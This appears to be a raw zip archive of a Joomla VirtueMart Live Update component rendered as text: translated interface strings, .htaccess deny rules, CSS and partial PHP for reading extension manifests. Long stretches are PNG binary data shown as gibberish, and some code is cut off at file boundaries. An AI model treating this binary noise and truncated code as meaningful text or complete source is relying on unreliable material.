LIVEUPDATE_INVALID_PACKAGE_TYPE="Formato del pacchetto di aggiornamento non riconosciuto. L'aggiornamento non può essere effettuato." LIVEUPDATE_INSTALLEXT="Installazione %s %s" LIVEUPDATE_ERROR="Errore" LIVEUPDATE_SUCCESS="Completato" LIVEUPDATE_ICON_UNSUPPORTED="Live Update non supportato" LIVEUPDATE_ICON_CRASHED="Live Update non funzionante correttamente" LIVEUPDATE_ICON_CURRENT="Non sono disponibili ulteriori aggiornamenti" LIVEUPDATE_ICON_UPDATES="INSTALLA NUOVO AGGIORNAMENTO!"PKs>\)2com_virtuemart/liveupdate/language/it-IT/.htaccessnuW+A Order allow,deny Deny from all PKs>\),com_virtuemart/liveupdate/language/.htaccessnuW+A Order allow,deny Deny from all PKs>\)2com_virtuemart/liveupdate/language/nl-NL/.htaccessnuW+A Order allow,deny Deny from all PKs>\,-R R =com_virtuemart/liveupdate/language/nl-NL/nl-NL.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Dutch Translation version 3.2.3 by [Robert J. Klop] info@zocors-web.nl LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update wordt op deze server niet ondersteund" LIVEUPDATE_NOTSUPPORTED_INFO="De server geeft aan dat Live Update niet wordt ondersteund. Neem contact op met de hoster en vraag de cURL PHP extensie of om de URL fopen() wrappers te activeren. Vraag, als ze al geactiveerd zijn, de firewall zo in te stellen dat er toegang tot de volgende URL is:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="U kunt %s altijd updaten door onze site te bezoeken, de laatste versie te downloaden en doormiddel van Joomla!'s extensiebeheer te installeren." LIVEUPDATE_STUCK_HEAD="Live Update is gecrasht" LIVEUPDATE_STUCK_INFO="Live Update stelt vast dat het, de laatste keer dat het de update-server trachtte te bereiken, gecrasht is. Dit betekent meestal dat de host actief de communicatie met externe sites blokkeert. Klik, als u de update informatie opnieuw wilt ophalen, op de "Ververs update informatie" knop hieronder. Als dat leidt tot een blanco pagina, neem dan contact op met uw hoster en meld dit." LIVEUPDATE_ERROR_NEEDSAUTH="U moet uw gebruikersnaam / wachtwoord of download ID opgegeven in de parameters van de component om naar de laatste release te upgraden. De upgrade knop zal geblokkeerd blijven tot dit gedaan is." LIVEUPDATE_HASUPDATES_HEAD="Er is een nieuwe versie beschikbaar" LIVEUPDATE_NOUPDATES_HEAD="U heeft de laatste versie al" LIVEUPDATE_CURRENTVERSION="Geïnstalleerde versie" LIVEUPDATE_LATESTVERSION="Nieuwste versie" LIVEUPDATE_LATESTRELEASED="Datum laatste release" LIVEUPDATE_DOWNLOADURL="URL voor directe download" LIVEUPDATE_REFRESH_INFO="Ververs update-informatie" LIVEUPDATE_DO_UPDATE="Update naar de laatste versie" LIVEUPDATE_FTP_REQUIRED="Live Update stelt vast dat het FTP moet gebruiken om de updates te downloaden en installeren, maar uw FTP logingegevens zijn bij de Joomla algemene instellingen niet opgeslagen.

      Vul a.u.b. hieronder de FTP gebruikersnaam en het wachtwoord in om verder te gaan met updaten." LIVEUPDATE_FTP="FTP informatie" LIVEUPDATE_FTPUSERNAME="FTP gebruikersnaam" LIVEUPDATE_FTPPASSWORD="FTP wachtwoord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download en installeer de update" LIVEUPDATE_DOWNLOAD_FAILED="Het downloaden van het updatepakket is mislukt. Zorg dat de temp map beschrijfbaar is of dat de FTP opties bij de algemene instellingen goed ingevuld zijn." LIVEUPDATE_EXTRACT_FAILED="Uitpakken van het pakket mislukt. Probeer de extensie handmatig bij te werken." LIVEUPDATE_INVALID_PACKAGE_TYPE="Verkeerd pakkettype. Updaten kan niet verder gaan." LIVEUPDATE_INSTALLEXT="Installeer %s %s" LIVEUPDATE_ERROR="Fout" LIVEUPDATE_SUCCESS="Succesvol" LIVEUPDATE_ICON_UNSUPPORTED="Live Update niet ondersteund" LIVEUPDATE_ICON_CRASHED="Live Update gecrasht" LIVEUPDATE_ICON_CURRENT="U heeft de laatste versie" LIVEUPDATE_ICON_UPDATES="UPDATE GEVONDEN! KLIK OM TE UPDATEN."PKs>\3com_virtuemart/liveupdate/language/nl-NL/index.htmlnuW+APKs>\)2com_virtuemart/liveupdate/language/ru-RU/.htaccessnuW+A Order allow,deny Deny from all PKs>\3com_virtuemart/liveupdate/language/ru-RU/index.htmlnuW+APKs>\bLD=com_virtuemart/liveupdate/language/ru-RU/ru-RU.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Автоматическое обновление" LIVEUPDATE_NOTSUPPORTED_HEAD="Автоматическое обновление не поддерживается на этом сервере" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сообщает, что автоматическое обновление не поддерживается. Пожалуйста, обратитесь к вашему хостеру и попросите его разрешить CURL расширение для PHP или активировать функцию URL FOPEN (). Если они уже включены, пожалуйста, попросите его настроить их брандмауэр так, что он позволял получить доступ к следующему адресу:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Вы всегда сможете обновить %s посетив наш сайт, вручную, загрузив последнюю версию и установив ее с помощью Joomla!." LIVEUPDATE_STUCK_HEAD="Автоматическое обновление обнаружило ошибку" LIVEUPDATE_STUCK_INFO="Автоматическое обновление обнаружило, что произошла ошибка при последнем сеансе связи с сервером обновлений. Обычно это означает, что хост блокирует связи с внешними сайтами. Если вы хотели бы снова получить информацию об обновлении, пожалуйста, нажмите кнопку "Обновить информацию об обновлении" , расположенную ниже. Если это приводит к появлению пустой страницы, пожалуйста, свяжитесь с вашим хостером и сообщите об этой проблеме." LIVEUPDATE_ERROR_NEEDSAUTH="Вы должны ввести ваше имя пользлвателя/пароль или ID загрузки в параметры компонента перед попыткой обновления до последней версии. Кнопка обновления будет оставаться неактивной, пока вы этого не сделаете." LIVEUPDATE_HASUPDATES_HEAD="Доступна новая версия" LIVEUPDATE_NOUPDATES_HEAD="У вас уже установлена последняя версия" LIVEUPDATE_CURRENTVERSION="Установленная версия" LIVEUPDATE_LATESTVERSION="Последняя версия" LIVEUPDATE_LATESTRELEASED="Дата выхода последней версии" LIVEUPDATE_DOWNLOADURL="Ссылка для прямой загрузки" LIVEUPDATE_REFRESH_INFO="Обновить информацию об обновлении" LIVEUPDATE_DO_UPDATE="Обновить до последней версии" LIVEUPDATE_FTP_REQUIRED="Автоматическое обновление определило, что необходимо использовать FTP для загрузки и установки обновления, но вы не сохранили данные для авторизации на FTP в Общих настройках Joomla!.

      Просьба ввести имя пользователя и пароль FTP для продолжения обновления." LIVEUPDATE_FTP="Информация FTP" LIVEUPDATE_FTPUSERNAME="Имя пользователя FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Загрузить и установить обновление" LIVEUPDATE_DOWNLOAD_FAILED="Загрузка пакета обновления не удалась. Убедитесь, что временный каталог доступен для записи или что вы включили FTP в Общих настройках Joomla!." LIVEUPDATE_EXTRACT_FAILED="Извлечение пакета обновления не удалось. Пожалуйста, попробуйте обновить компонент вручную." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неверный тип пакета. Обновление не может продолжаться." LIVEUPDATE_INSTALLEXT="Установлено %s %s" LIVEUPDATE_ERROR="Ошибка" LIVEUPDATE_SUCCESS="Успешно" LIVEUPDATE_ICON_UNSUPPORTED="Автоматическое обновление не поддерживается" LIVEUPDATE_ICON_CRASHED="Автоматическое обновление не прошло" LIVEUPDATE_ICON_CURRENT="У вас последняя версия" LIVEUPDATE_ICON_UPDATES="НАЙДЕНО ОБНОВЛЕНИЕ! НАЖМИТЕ ДЛЯ ОБНОВЛЕНИЯ."PKs>\3com_virtuemart/liveupdate/language/no-NO/index.htmlnuW+APKs>\mfL L =com_virtuemart/liveupdate/language/no-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live oppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live oppdatering støttes ikke på denne serveren" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live oppdatering ikke støttes. Vennligst kontakt din leverandør og be dem aktivere cURL PHP eller aktivere URL fopen() wrappers. Dersom disse allerede er aktivert, kan du be dem om å konfigurere sin brannmur slik at den gir tilgang til følgende URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere manuelt%s ved å besøke vår side, laste ned den nyeste versjonen, og installere det ved hjelp av Joomla installasjonsprogrammet." LIVEUPDATE_STUCK_HEAD="Live oppdatering har markert seg selv som krasjet" LIVEUPDATE_STUCK_INFO="Live oppdatering krasjet forrige gang den prøvde å kontakte oppdateringsserveren. Dette betyr vanligvis en leverandør som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å prøve å hente oppdateringsinformasjonen, klikk på knappen "Oppdater oppdateringsinformasjonen" under. Hvis dette resulterer i en blank side, kontakte din leverandør og rapportere dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi brukernavn/passord eller nedlastnings ID til komponentens parametre før du forsøker å oppgradere til siste versjon. Oppgraderingsknappen vil forbli deaktivert til du gjøre det." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater oppdateringsinformasjonen" LIVEUPDATE_DO_UPDATE="Oppdatering til siste versjon" LIVEUPDATE_FTP_REQUIRED="Live oppdatering har behov for å bruke FTP for å laste ned og installere oppdateringen, men du har ikke lagret FTP påloggingsinformasjonen i Joomla! Global konfigurasjon .

      Vennligst oppgi FTP brukernavn og passord nedenfor for å fortsette med oppdateringen." LIVEUPDATE_FTP="Informasjon" LIVEUPDATE_FTPUSERNAME="FTP brukernavn" LIVEUPDATE_FTPPASSWORD="FTP Passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringen mislyktes. Pass på at temp-mappen er skrivbar, eller at du har aktivert Joomla! 's FTP alternativer i Global konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Prøv å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakke type. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Live oppdatering støttes ikke" LIVEUPDATE_ICON_CRASHED="Live oppdatering krasjet" LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen" LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PKs>\)2com_virtuemart/liveupdate/language/no-NO/.htaccessnuW+A Order allow,deny Deny from all PKs>\. 1com_virtuemart/liveupdate/assets/nosupport-32.pngnuW+APNG  IHDR szz pHYs   ZIDATX uWkl3Oxk0P3ƴȩI("-hRVi?H-D! $!@B Dv)cH(#,ػ玽ρ]|sϹ>B&']-uufm֭UoȱTABOQjF4s߽ƭD`φ ݻW-|ᩧZL(V# II`!d~uݸ OX{zqڊ&]om*SI6& PP0E',͠xrϵD[>&5MMMqvO{dJ˄"57aHQ8ۭfI8Hl;r$ F>[єɴ+E>.`L8zG:C7vS_jG]͏!…/BE^g4Q,f1l6aYx? ?7/IB& &a%}z~4[{{Ag8W/mݸ1mڴuxvhT3hPFC:D` | Θ$ݽKB2@@G:J@'Hݑ[B-9~c-Or$sL;L| b1*dXO_zEw R/i%hE& yc1GQ((ܵf64_jkMHW"|C!qtZDӼ_BL"`i{"sWVmŕ/˜DAI ٦Ozβ#:& z2]~EJF &F\Q+QxINQ޽4zRiقVΛgw&{d(zu\I 5̐4Ng[xpsr@-B_^M bȜL$_0b CgAj'NaJc*n@bdi8q׬ÇMPvJHs6bV:bE4:`gQK ,Z*#5JE)6,ʁ#]K^KB #vw ͻs(cuDNE |XTDY.Z<q<\:b(앁.YXsDm?5eg֢q8_`4{Nk}]*_TOEKp\`Pӎ)aŧ'.:I ㆁ_ЎTX-g[SCޞ!p0m9 (28h[6}&Q 'LFyf0JA0 fq;FP3'*EzH9H$” M%T cdo7|7#zFDɹlԁ@Ad_cwGqy{z\)l cK_F nlevFNԋtZ+{{ΝkDNFƠ'):m $U@ 뭞.ͯYJ瓂=_2ƭyyב&nb({яw#gF nbJ7JJ')JJJPHOu$d8]dÆ$lL&OA Hk`,(e|(+H&Z':&IBbȹ4p; a剿hƮ@pWĉ}h_ǍNqðXlF`(N,[WwP(4 Θ?p gY _kڗ v*b x H~mjŐM*و0 nѳVۋkAf@#R^;gmҴ NXIUUse3W{? 3wb9IENDB`PKs>\2;\\,com_virtuemart/liveupdate/assets/fail-24.pngnuW+APNG  IHDRw= pHYs  IDATH mVmlS~ιc;q $1 #FƠ&Ԋ jGºǴNU'X;m մ`CZʀB)]nI khY~{P*Z^sy>ǹ|N"qh@ )&0\>I4COa%JXLK|FzJGm-=ֶ 5XWf.71;4tm'./]1 tK^b۾jݱEx҃&@\ܸ]_.&u)o ~pWUuQ(L6L-`< p??:[x;$>^/Knή{kxv`&|6+Xʺe)TܼO tmv>||U>~Y͏}s]jU t+B!q̐ǯ~φe& Y8,L,M-m}eΝP__z֤WNoܨQ&NS%zd3Q;ܹ^M}a .nJ<>ljR6/ȃ H"Cjewܒk+ғhj#dlvq3؇ IvF7F131ʊ%E^63#c7.>5)Ē6.Y{unbT}6ˈ ~\P3jHzũk#-gο1mˎ~0#OX-7DѨTi#%sfͣy/G LcCCp3ł+ဪ^w\G匪ֵU25>+SmXSlٵ\) ϡ+:aC7By$3sx|ӎ-Pmv%[TQSj{ MljhR|o2{脳 -6Rs"IUmg)քÕ SI"6b9(HìKYyiYE'?lCvӎl'K.dTUYīw+7 v.,UH$9 #fvipA9O4zӲ.VfBkCCkyD\ǭRҬv$|YL.*A)CD"^tjX5vFt_ dr Ҫb>4?L}}gɱ~E*Ր+f$odN=\M,+0ɻ [+7ǵ~RL}kDY=:Y~kWṲ;A 4ixytoSHSeMM[W@pW[bme=+H;,#{ E&v?^SBi&qn9Pu2B>#=C)lztM}cf"=Đ>A>뾔Kkifi9ѠS0C!Ţ*RD[Ig谬aV;[|nX,?Ϯ[hFCM %7řŕ8\8As¹|7w %DS-Ȗ{MK4dtŵ@vEo>bpҀ͓ww D:`50P.\^|_. 4Ʒ$;GIENDB`PKs>\^ON,com_virtuemart/liveupdate/assets/warn-24.pngnuW+APNG  IHDRw= pHYs  NIDATH UkUv[kX`PM . >Pė}RD((m!- FPb 6`c-5MnwMi?ffx؝;ss(c ԇ*ܾ6l՚,ޓ( v3pE>ː BF.>Tnbש4uX4a8M`߃RhL<CP ]$>U`~`卌ϤiRHMNFe(o.9\Ь X 1= Vp%z;gTŁPtCmQ[Ϋ*YǦgUgvKƇ,=s0_Y6UsFe1rKP2K ;Q[ɿ2nM3A ]%Xghpg/!j A2=K_ZU(jW74)6U4#dp@)'@4lvU) i+]Śm4L@Qssj6nvZ+_ձi%*d`b8֏7g@Y6U NL5S;*f#;u[;-3"96 o9ޓ9TattQ#I6BﱁdFnvy.Bnͣf$Z q.]f YXA8A&2}S@~#q|ER{9|;zܸ m 5,U0Ġo ~=t0"Gκsѿr*!h"x9p@~1>)6sWW?E_t5aK`K)8އBm:Cb|Mz9cv>3xO=G(z~b'# -vH5k.jPӱ5Af+ox a >ۋGY{ǰ\km‹i)e?uLd7}W<ijqcX痢Ki(tq<,d,JޅE| 0RHl ]|ĵfA͚q Yڛ!IENDB`PKs>\+com_virtuemart/liveupdate/assets/index.htmlnuW+APKs>\/qT*com_virtuemart/liveupdate/assets/ok-24.pngnuW+APNG  IHDRw= pHYs  IDATH mLSWmo@hkaP4$(ʋɾ܊Kd#`lֲ1gt& e0`A hGA!PhK[/lq{9?BXqü@z= 06†_#`q^8Nh%BG9OGTd\a~]'@MykG>Dsx'y;laxRdٹŹ*+`6<\((WX,i(*V?5%-q ˲ՉNٯN>NoN(T01%n\!PD8D~ ֖$i0pXI_\ l8ה 63ql Aw@%<ϠQX@iZvefBRD,gR枦;;5%֦݁hWٗDӂ"sPbzoD)mJd^eNB5nPrZ|ᴴ#DLu{M/d1a#L;e@_ڲmZ*QN`h ޘu-ա~4d446Vm{(6*PC<5ۏ^Ene;4i(c$77/Cp.;4Iz)l?xd>edlx&ɒqbUpqKMUfuSnZJd?FNBvv80p}bmpy{f:C9R4$Zi:ްP(?n.8utt!|p9r'N{; &&"JJˀaldy³hZ2FH9~w,g,"p.B&U=14+ӥ D.ʧdZ$a4Q~JnvKv;(Enhi"܄b3:52>Q?~ej875@> :[n&oZւXQDn05X,*h>̅)|naL|k7CőG_}?5ozCa=k[ 8Ru…+XYj-PyAU{ΡBF?qX"鍊|2b/iG2ar31b} GOZ]4qcIENDB`PKs>\ /com_virtuemart/liveupdate/assets/liveupdate.cssnuW+A/** * @package LiveUpdate * @copyright Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com * @license GNU LGPLv3 or later */ @CHARSET "UTF-8"; .icon-48-liveupdate { background-image: url(liveupdate-48.png) } var { font-style: italic; font-weight: bold; } p.liveupdate-url { font-family: "Lucida Sans Mono", "Courier New", Courier, monospace; } div.liveupdate-notsupported, div.liveupdate-stuck { border: thin solid #990000; background: #fff0f0; padding: 1em; color: #330000; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } div.liveupdate-notsupported h3, div.liveupdate-stuck h3 { background: transparent url("fail-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: red; text-shadow: 1px 1px 6px #cccc00; } div.liveupdate-hasupdates { border: thin solid #999900; background: #fffff0; padding: 1em; color: #333300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #ff8; -webkit-box-shadow: 5px 5px 5px #ff8; box-shadow: 5px 5px 5px #ff8; } div.liveupdate-hasupdates h3 { background: transparent url("warn-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #660; text-shadow: 1px 1px 6px #ffff00; } div.liveupdate-noupdates { border: thin solid #009900; background: #f0fff0; padding: 1em; color: #003300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #8f8; -webkit-box-shadow: 5px 5px 5px #8f8; box-shadow: 5px 5px 5px #8f8; } div.liveupdate-noupdates h3 { background: transparent url("ok-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #060; text-shadow: 1px 1px 6px #00ff00; } div.liveupdate-infotable { width: 1020px; margin: auto auto; padding: 2px; border: thin solid #333; background: #fefefe; -moz-border-radius: 5px; -webkit-border-radius: 5px; -border-radius: 5px; } div.liveupdate-infotable .row0 { background: #fcfcfc } div.liveupdate-infotable .row1 { background: #f0f0f0 } div.liveupdate-row { padding: 5px 1px } span.liveupdate-label { display: inline-block; width: 200px; font-weight: bold; } span.liveupdate-data { display: inline-block; width: 400px; overflow: none } p.liveupdate-buttons { text-align: center; margin: 1em; } p.liveupdate-error-needsauth { margin: 1em; background: #ffcccc; border: medium solid #ff0000; color: #660000; font-size: large; font-weight: bold; padding: 1em; text-align: center; text-shadow: 1px 1px 2px white; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } p.liveupdate-poweredby { font-size: 8pt; color: silver; margin: 1em 0 0.5em 0 } p.liveupdate-poweredby a { color: silver; } div.liveupdate-ftp p { margin: 1em 2em; line-height: 140%; border: thin solid #00c; padding: 0.5em; color: #006; background-color: #f0f0ff; font-size: 14pt; text-shadow: 1px 1px 3px silver } PKs>\vpVPP.com_virtuemart/liveupdate/assets/update-32.pngnuW+APNG  IHDR szz pHYs  IDATX W[lUΜK QoR"b0& /ĤM|'>ht4BbL4'i(!1z#U Жnﻳ3?̜}9ZXu9 Ӿ %LČ.6';D V6l@p0 @~Hr4VoPJRml@2lM8A Ric TTATPB:`#Ќ~؋ %"\F<-!cfAdԈp eY(S$ -@ a+$bZ5^TgyM55)NK l" Y- RfR00k8D@!2 k I !]Q9P(EU~k"۰nk Ib#?j?ucp<0=lm)UCxmIh%N~ #UPn:)=ROH<Ⱦ;iu+`Aj&$܆E޳Bŝ 5R2Տo빼:tv R#v9FD`2@qGTm@Ŷr}Q G<Պ-}Z|hM"<'(eR(w LE[n!^+1Uu=MkTGv)}rQBX⏂XkdS]T-&|`Q.`S[v7ٛwΘ WptE׌1  %SJq޼]:V҉r;K ˰Ps^|ܝHQne"fiqŒtKx`+OEYքp D?F VSE`$a>6fn?s=[:dH0HˎOt g8w"dO(@Iج|vSK(1$ZPZ$>p6iH! z1F/C6£/ < Iy㐴пXPLҁ($E_~mz]gU$IyCV 4к>QAT!l>"Ew/[HbH+h{uwXz2$sBUqVPPa]x9BI//3N4|[\5r#ZSꑱHy2Jc $^o;'B ǞMsDgGϋy1>.Do.X$a 'fR^'CT$1e*M 2 LJoI?px=1 A<(Xnc_a |cNw[_pF@DŽp_U$-VJ|P^$a i=C R,,[UxYDJ|3xƜpHyzΘ5+@.o/$>L6XX籽 ؅c[±m':+0jDDZwF^-ʷk xSm4‚IENDB`PKs>\)*com_virtuemart/liveupdate/assets/.htaccessnuW+A Order allow,deny Deny from all PKs>\q/com_virtuemart/liveupdate/assets/current-32.pngnuW+APNG  IHDR szz pHYs  IDATX ŖPT}쏷n!AMaC$m"t&hLm"2)d4i)G8qL?Ѡ rYDxxwo}dA4zww;s?s]D){ٸ{ g.V0t-ݺ u u+XwE܀opO=_f<P h^o+*g7`sH9Dk(ay'a,|\T*{*ti_PjI`v~χ7Sp*(~//bZR~dJG/3ჴy%Д!>yU2̹+ޠ mf85?a*:Arv_l ^M[YM3RF^pjtEZXo?wp|~dݮ YƲ~V=SZ"aT( .o|pVBiGDr/lr'ďA}]θ]W`5(Nj|~SsU=;R^1<}}źy߅ճQJ|αwoz_s~?ïEnA5;O;:}:FGm錄mO@pÍcw2i`Αl1\^^2com_virtuemart/liveupdate/assets/liveupdate-48.pngnuW+APNG  IHDR00W pHYs  IDAThZ p\ř1}K6Ɩm"A. %d@@%Y6VEq2+ !˧oɺl3:~G11ð=͌}W̨BI,k3ݧ敃Np.TZ$\L:('1L TW\o?TxfZ8_W}A /\zVۉcKuJd!Q.*p< zH&og+|~"@  zn'V{|qiB425"$ nLu`T=A)?ڦ{<5zztQMʙ/=W' ltZP, 0v3c~NE\R&gx_'IfbEpQ# \Tm8l)Pqݍc7Bwy XQ-W9%??,"J>P;$7u f8GiJDJ^v61"jwةA HIHĒYNIr=bf kav-Mgn&%/]4w4$ZLqsl*idOArnL|/SGLQdydrd:h h^{ẄKxX>PrkUj:.9ʼOtxKT{lH |-+6h~&9ڲÉ:czN++o#< y؃}^14np'uC HBkJr?hTJHr[ ܲT6"g NQa -j ^)? ~-ȉdJ  <#@[| VUII/TsG{6Dn[2`ףCv[/R9ԗף}b?\=%x69nBpS E<: B}):>O,]\&/~a\°~5kPU,YC-ίzWOd w{)F*/.Hǿw<֋fTⲢma3ch| zgr \!~̀y$7%Flw.ާ_Xz ;RHV_ `eQ >pWLnZ\Smc=ONv3KeYgop0 )/)1KqVնΩNIn R!p&`3SJH]bc%P/ ^"ֈӑ !/7VZg Fnq&J2w;H$d:g>1i,07w}[^a'lM%ߪj˾?7t+fddTI2E^(TBͳs&)!2G~(ږ%}#\g#BQpn38Gnw_?0I|M𣹞?(g,xto -1wP!Wk&yY)GgosPHb! XY: @)>9t詿Xꡍ/=im&c;%!7moTDt_!XFXXZdMA@Bfp\ѸB/'n|+T阛c1`+{WO$]YTB<MeH<=ZG\J ! aSe+$aԿ0xgY뭦]gS =EΥe`=Ej 0+yU|w i.L+6 CBH Tf(%a3x-TZ?`fGعj]?̟z˺ǃ'sCBiЀ76M,7:T`Vbn մkL B*Rй$mPӌ3ffISOIFoۼ) 3 ~­,!lkCCqe L]x¢8xmY@lC^u!qhԈɿq[Fhu}݀|OΒ]dgC>[h|Lzb[پy{~Е,$֪XS*X/| 60^^wq:YD:,<Xlњf_,yY~IqAnCJQ,k.D|/-_ues3U%k~xd{8KC!~G=yx0bK=zLKZ/%ˎ].5tuɦ*Há!_Į wTx|d Sl۲hKNCM&6pg7\K+xUw޿G葖 [Cg_FUP%bd C&9>cH)SGt[i*UG<3oYkz{C{ޕUiSr@M8Cfxe7I/ 9ۄĠ("+&O͡C[Pq#҄$ #0 Aնm xd]sfxsMD?XfA(ULc]&IZ^OKR++Ww׆wmw׶oizS كJCjG* odj[ ƺ*#uGcQ<>nD҃rovws1ɉ{l,|ub-+2w~:5UB"ረgD*}}  dz|0 p¼rHhqc 0SԠz"[۱g Хٖ_UU bZʹZq;IʘCo$Si/Y,GN\UUޒakͥ avЛ]$⏂HʃW:>ᇻDt8!n $vȀ$f?+hK+SY8!G*}M8zYƄ)!8r>erl*QC<;&gvX%IH7Cfje^[sMM!8ru;QIB׹8,q /C-7ޜm0w񜞜ܜN&Bj}U3owJάlصS:v8%#e}Nne V@|Ɍerc)uzVPH-/ZK1'i+R׍+'^z\%]8GbCJO lnMCeAi\/^88(com_virtuemart/liveupdate/liveupdate.phpnuW+AhasUpdates = false; return $versionCheck; } }PKs>\)#com_virtuemart/liveupdate/.htaccessnuW+A Order allow,deny Deny from all PKs>\ g,,.com_virtuemart/liveupdate/classes/xmlslurp.phpnuW+A */ defined('_JEXEC') or die(); class LiveUpdateXMLSlurp extends JObject { private $_info = array(); public function getInfo($extensionName, $xmlName) { if(!array_key_exists($extensionName, $this->_info)) { $this->_info[$extensionName] = $this->fetchInfo($extensionName, $xmlName); } return $this->_info[$extensionName]; } /** * Gets the version information of an extension by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar, mod_foobar, plg_foobar or tpl_foobar. * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function fetchInfo($extensionName, $xmlName) { $type = strtolower(substr($extensionName,0,3)); switch($type) { case 'com': return $this->getComponentData($extensionName, $xmlName); break; case 'mod': return $this->getModuleData($extensionName, $xmlName); break; case 'plg': return $this->getPluginData($extensionName, $xmlName); break; case 'tpl': return $this->getTemplateData($extensionName, $xmlName); break; case 'pkg': return $this->getPackageData($extensionName, $xmlName); break; case 'lib': return $this->getPackageData($extensionName, $xmlName); break; default: if(strtolower(substr($extensionName, 0, 4)) == 'file') { return $this->getPackageData($extensionName, $xmlName); } else { return array('version'=>'', 'date'=>''); } } } /** * Gets the version information of a component by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getComponentData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $path = JPATH_ADMINISTRATOR.'/components/'.$extensionName; $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.file'); if(JFile::exists("$path/$xmlName")) { $filename = "$path/$xmlName"; } elseif(JFile::exists("$path/$extensionName.xml")) { $filename = "$path/$extensionName.xml"; } elseif(JFile::exists("$path/$altExtensionName.xml")) { $filename = "$path/$altExtensionName.xml"; } elseif(JFile::exists("$path/manifest.xml")) { $filename = "$path/manifest.xml"; } else { $filename = $this->searchForManifest($path); if($filename === false) $filename = null; } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ( ($xml->document->name() != 'install') && ($xml->document->name() != 'extension') ) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a module by reading its XML file * @param string $extensionName The name of the extension, e.g. mod_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getModuleData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_SITE.'/modules/'.$extensionName; if(!JFolder::exists($path)) { $path = JPATH_ADMINISTRATOR.'/modules/'.$extensionName; } if(!JFolder::exists($path)) { // Joomla! 1.5 // 1. Check front-end $path = JPATH_ADMINISTRATOR.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } // 2. Check front-end if(!JFile::exists($filename)) { $path = JPATH_SITE.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = 